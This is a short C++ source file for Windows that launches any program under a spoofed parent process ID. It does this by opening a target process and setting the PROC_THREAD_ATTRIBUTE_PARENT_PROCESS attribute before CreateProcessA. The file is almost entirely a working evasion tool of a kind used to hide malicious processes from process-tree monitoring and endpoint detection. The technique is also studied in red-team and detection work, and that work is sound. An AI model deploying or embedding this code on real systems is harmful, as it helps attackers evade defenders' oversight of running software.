spoof_ppid.cpp

#include <windows.h>
#include <TlHelp32.h>
#include <iostream>
#include <string>
#include <sstream>

using namespace std;
int main(int argc, char* argv[])
{

    bool inherithandle = false;
    int ppid;

    if (argc <= 1)
	{
		if (argv[0])
			std::cout << "Usage: " << argv[0] << " <ppid to spoof> <program to run> [true|false]" << '\n';
    } 

    if (argv[3])
    {
        std::istringstream(argv[3]) >> std::boolalpha >> inherithandle;
    }

    ppid = std::stoi(argv[1]);

    std::cout << "PPID: " << ppid << '\n' << "Inherit Handles: " << inherithandle << '\n' << "Launch Process: " << argv[2] << '\n';

    STARTUPINFOEXA si;
    PROCESS_INFORMATION pi;
    SIZE_T attributeSize;
    ZeroMemory(&si, sizeof(STARTUPINFOEXA));

    HANDLE parentProcessHandle = OpenProcess(MAXIMUM_ALLOWED, inherithandle, ppid);

    InitializeProcThreadAttributeList(NULL, 1, 0, &attributeSize);
    si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, attributeSize);
    InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &attributeSize);
    UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &parentProcessHandle, sizeof(HANDLE), NULL, NULL);
    si.StartupInfo.cb = sizeof(STARTUPINFOEXA);

    CreateProcessA(NULL, (LPSTR) argv[2], NULL, NULL, FALSE, EXTENDED_STARTUPINFO_PRESENT, NULL, NULL, &si.StartupInfo, &pi);

    return 0;
}